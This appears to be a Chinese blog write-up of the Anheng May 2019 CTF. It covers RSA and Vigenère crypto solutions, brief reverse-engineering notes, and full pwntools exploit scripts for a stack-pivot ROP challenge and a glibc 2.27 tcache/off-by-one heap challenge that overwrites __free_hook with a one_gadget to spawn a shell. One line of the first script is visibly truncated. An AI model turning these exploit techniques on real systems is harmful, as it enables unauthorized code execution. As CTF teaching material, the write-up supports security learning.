帅帅狗

逆向工程 & 漏洞利用

06/01/2019 由ADMIN

安恒五月月赛

Crypto

RSA

题目如下：

```
from gmpy2 import invert
from md5 import md5
from secret import p, q

e = 65537
n = p*q
phi = (p-1)*(q-1)
d = invert(e, phi)

print n, e, d
print "Flag: flag{%s}" %md5(str(p + q)).hexdigest()
```

题目给出了模数n，公钥e，私钥d，需要求p和q的和，其实也简单，ctf-wiki参考d泄露攻击，可以分解n。

参考链接：d相关攻击

使用rsatools得到p和q，得到：flag{e7ddad281ff7dfc99eb3379e0efd46f8}【其实这里的道理我没有明白，为什么k是偶数？大家看到有思路的话告诉我一下吼，感谢。】

VVV

简单的题目，捡了个一血。

题目如下：

```
cton = lambda x: ord(x) - ord('a')
ntoc = lambda x: chr(x + ord('a'))
ret = ""
for k, v in enumerate(content):
    v = string.lower(v)
    if v in "{}":ret += v   # 字符'{' '}'不进行加密
    if not v in string.ascii_lowercase:
        continue
    s = secret[k % len(secret)] # 循环取密钥
    ret += ntoc( (cton(v) + cton(s))  % 26) # 这里看出来是维吉尼亚密码

open("cipher", "w").write(ret)
```

维吉尼亚密码则使用网上工具：维吉尼亚Cracker

这里有一个小问题，由于不对字符”{“和”}”进行加密，所以这两个字符在密文中需要替换成任意两个小写字符在放入网站解密，可能是这个问题导致好多人没有解出这道题目。得到：flag{thisistheflagtakeit}

REVERSE

Crackme

太简单了，调试直接获取flag。

TestRe2

太简单了，直接看出来是RC5块加密算法，key和cipher都在程序里，很明确。【注：但就是死活解不出来。】安恒逆向出题人赶紧来现身说法。

PWN

stackpivot

程序逻辑

```
1  int __cdecl main(int argc, const char **argv, const char **envp)
2  {
3    char buf; // [rsp+10h] [rbp-40h]
4    __int64 savedregs; // [rsp+50h] [rbp+0h]
5
6    memset(&buf, 0, 0x40uLL);
7    init(&savedregs, argv, &buf);
8    puts("Input Your Name:");
9    read(0, &name, 0x4FFuLL);
10   puts("Input Buffer:");
11   read(0, &buf, 0x50uLL);
12   return 0;
13 }
```

首先，read到bss最多0x4FF字节，这里没问题；再读到栈上0x50，这里有0x10字节溢出，可以控制rbp，rip。

利用思路

1、由于溢出字节不足以在栈上进行ROP，所以凭借leave ret语句将栈转移到.bss段，使用第一个read到bss上的数据进行ROP。

2、要想泄露libc地址，可以执行puts(puts@got)，执行puts需要调整栈至bss+0x500处左右，（这个问题和强网杯xx_warm_up同理。）。

3、再次执行read，读到栈上system和/bin/sh以get shell。

exploit

```
from pwn import *
context.terminal = ['terminator', '-x', 'sh', '-c']

io = process("./main")
elf = ELF("./main")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

bss_adr     = 0x0000000000601080
pop_rdi     = 0x00000000004007a3
pop_rbp     = 0x00000000004005e0
pop_rsi_r   = 0x00000000004007a1
leave_ret   = 0x0000000000400733

puts_got    = elf.got["puts"]
puts_plt    = elf.plt['puts']
read_plt    = elf.plt["read"]

bss  = p64(pop_rbp) + p64(bss_adr+0x300) + p64(leave_ret)
bss  = bss.ljust(0x308, 'A')
bss += p64(pop_rdi) + p64(puts_got ) + p64(puts_plt)
bss += p64(pop_rsi_r) + p64(bss_adr+0x500) + "A"*8 + p64(pop_rdi) + p64(0) + p64(read_
bss += p64(pop_rbp) + p64(bss_adr+0x500-8) + p64(leave_ret)
io.sendafter("Name:\n", bss)
payload = "A"*0x40 + p64(bss_adr - 8) + p64(leave_ret)
io.sendafter("Buffer:\n", payload)
leak = io.recvuntil("\n", drop=True)
leak = u64(leak.ljust(8, '\x00'))
```

```
base = leak - libc.sym["puts"]
success("libc: 0x%X"%base)
binsh = base + next(libc.search("/bin/sh"))
system = base + libc.sym["system"]
success("system: 0x%X"%system)
bss  = p64(pop_rdi) + p64(binsh) + p64(system)
io.send(bss)
io.interactive()
```

一点其他的知识

1、这道题目，昨天晚上死活不能getshell，后来问了浩添学长，发现是使用了sendline，而不是send，导致了一个字节的偏移，不能成功，这里强调以后只要是read函数，一律使用send不要使用sendline。

2、我们知道操作系统的分段和分页机制，在内存中.bss段至少是被分配了一个页的内存，大小为pagesize，是0x1000大小；一般情况下system，puts函数，我们是作为黑盒函数使用，但它们也需要运行时栈空间，我举个不恰当的例子描述一下这里的问题：倘若.bss地址空间为0x1000-0x2000，这是我们通过栈迁移把sp指向了.bss的起始处0x1050，通过ROP调用了system，而system需要0x104的运行时栈大小，即存在sub rsp 0x104的执行，它便会修改sp指向0xF40，而这里不属于.bss段，确切的说它属于代码段，不具有write权限，而栈上必然存在写操作，于是程序发生崩溃，正确的做法是条件允许的情况下把栈放在.bss段的中间部分，这样栈空间就大一些。

Easypwn

glibc2.27的堆题目，典型的菜单型程序，在添加功能add时存在漏洞。

程序逻辑

```
char *__fastcall readin(char *dst, int size)
{
  char *result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

```

```
6   i = 0;
7   if ( size )
8   {
9     while ( 1 )
10    {
11      read(0, &dst[i], 1uLL);
12      if ( i > size - 1 || !dst[i] || dst[i] == 10 )
13        break;
14      ++i;
15    }
16    dst[i] = 0;
17    result = &dst[size];
18    *result = 0;                                  // 末尾存在NULL By One漏洞
19  }
20  else
21  {
22    result = dst;
23    *dst = 0;
24  }
25  return result;
26 }
```

这里会在dst[size]处置零，而且需要注意程序除了对长度的检查外，还截断\x00和回车符\n，正常情况可以直接通过最后一个字节置零而覆盖下一堆块的pre_inuse位来构造overlap-chunk， 由于题目给的库是libc2.27，引入了tcache机制。

思路是：使用unsortedbin泄露堆地址。

exploit procedure

1、初始化10个堆块

2、free7个堆块以填充tcache。

3、free(0)、free(1)、free(2)，它们进入unsortedbin。

4、malloc 7个堆块以清空tcache。

5、malloc(7)、malloc(8)、malloc(9)，由于这是直接从unsortedbin中拿出来的块，参考学习free源码。

6、free(8)，进入tcache。

7、此时再对进行tcache填充操作【x->x->x->x->x->x->idx=8】

8、free(7)，进入unsortedbin。

9、移除6个tcache。再次malloc，此时获得idx=8块，我在这里触发off by one，覆盖chunk9的pre_inuse位。

8、填充7个tcache。

9、free(9)，触发overlap。

10、移除7个tcache，在malloc一块，此时两个指针指向同一块。

11、此时泄露main_arena的地址。

12、随后tcache poison改写tcache链表指向__free_hook。

13、再次申请时改__free_hook为one_gadget。

```
from pwn import *

io = process("./pwn_pa", aslr=False, env={'PRE_LOAD':'./libc.so.6'})
context.log_level = "DEBUG"
glibc = ELF("./libc.so.6")
# base = p.libs()["/home/fun/Desktop/ctf2019/anheng5/pwn_pa"]
# gdb.attach(p, "b *%s"%(hex(base+0xF31)))

def delete(index):
    io.sendlineafter("command:\n", "2")
    io.sendlineafter("index:\n", str(index))

```

```
13  def add(size, content):
14      io.sendlineafter("command:\n", "1")
15      io.sendlineafter("size:\n", str(size))
16      io.sendlineafter("content:\n", content)
17
18  def show(index):
19      io.sendlineafter("command:\n", "3")
20      io.sendlineafter("index:\n", str(index))
21
22  def fill_tcache(start, end, step = 1):
23      for i in range(start, end, step):
24          delete(i)
25
26  def remove_tcache(num):
27      for i in range(0, num):
28          add(2, "a")
29
30  # Initialize
31  for i in range(0, 10):
32      add(0x2, "a")
33
34  # fill the TCache to put chunk to unsorted bins
35  fill_tcache(3, 10)
36
37  # chunk1 chunk2 chunk3 will merged.
38  # Now, we can use off by one to overlap chunks
39  delete(0)
40  delete(1)
41  delete(2)
42
43  # Apply again to split unsorted bin
44  # The array will be filled from 0 ~ 6
45  remove_tcache(7)
46
```

```
47  # Split unosrted bin now, we can get 0x200 in prev_size of chunk9
48  add(0x2, "7") # chunk7
49  add(0x2, "8") # chunk8
50  add(0x2, "9") # chunk9, get 0x200 in prev_size of chunk9
51
52  # If we continue use free, they will be put to unosrted bin
53  # and the prev_size byte will be erased
54  # therefore, we apply tacache to store them
55  # We also need to switch there location in list
56  # Otherwise we cannot erase the prev_inuse byte
57  delete(8)
58  fill_tcache(0, 6)
59  delete(7)
60
61  # off by one
62  remove_tcache(6)
63  add(0xf8, "8")
64
65  # Again, we need to full filled our TCache to use unsorted bin
66  fill_tcache(0, 7)
67
68  # Trigger Overlap
69  delete(9)
70  remove_tcache(7)
71  add(0x1, "a")
72
73  # Leak main_arena
74  show(7)
75  main_arena = io.recvuntil("\n", drop=True).ljust(8, '\x00')
76  main_arena = u64(main_arena)
77  # raw_input()
78  base = main_arena - 0x3ebca0
79  success("base: 0x%X"%base)
```

```
80
81  # 0x4f2c5   execve("/bin/sh", rsp+0x40, environ)
82  # constraints:
83  #   rcx == NULL
84
85  # 0x4f322   execve("/bin/sh", rsp+0x40, environ)
86  # constraints:
87  #   [rsp+0x40] == NULL
88
89  # 0x10a38c  execve("/bin/sh", rsp+0x70, environ)
90  # constraints:
91  #   [rsp+0x70] == NULL
92  one_gadget = base + 0x4f322
93  free_hook = base + glibc.sym["__free_hook"]
94  # system = base + glibc.sym['system']
95
96  # success("malloc_hook: 0x%X"%malloc_hook)
97  # -----------------------------------------------------
98  # TCache Arbitrary Write
99  add(2, "0x9")
100 delete(7)
101 delete(9)
102 # delete(8)
103 # raw_input()
104
105 add(0x20, p64(free_hook)[:-2])
106 # -----------------------------------------------------
107 # Now, number is 9 , and the tcache is [ junk chunk -> malloc_hook ]
108 add(2, '1')
109 # Now, number is 10, and the tcache is [ malloc_hook ]
110 delete(0)
111 delete(1)
112 delete(2)
113 delete(3)
```

```
delete(4)
delete(5)
delete(6)
delete(8)
delete(7)

remove_tcache(6)

add(2, '1')
add(0x20, p64(one_gadget)[:-2])

# p.sendlineafter("command:\n", "1")
delete(0)
io.interactive()
```

一点小坑

1、one_gadget可以多试一下，比方说这道题目中第一个one_gadget是不行的

2、一定要仔细阅读IDA中逻辑，该程序在free之前调用了memset对内存清零，我忽略了这一点，想要通过system("/bin/sh")是很浪费时间的。

3、在最后一步，修改__free_hook为one_gadget，有一点问题，因为程序最大允许10块内存，当超过时，不允许在申请，恰巧申请不到__free_hook，解决方法是填满tcache，再多free几块，它们进入了unsortedbin，这个时候再申请就是优先从tcache中获得，便可成功得到__free_hook块。

漏洞利用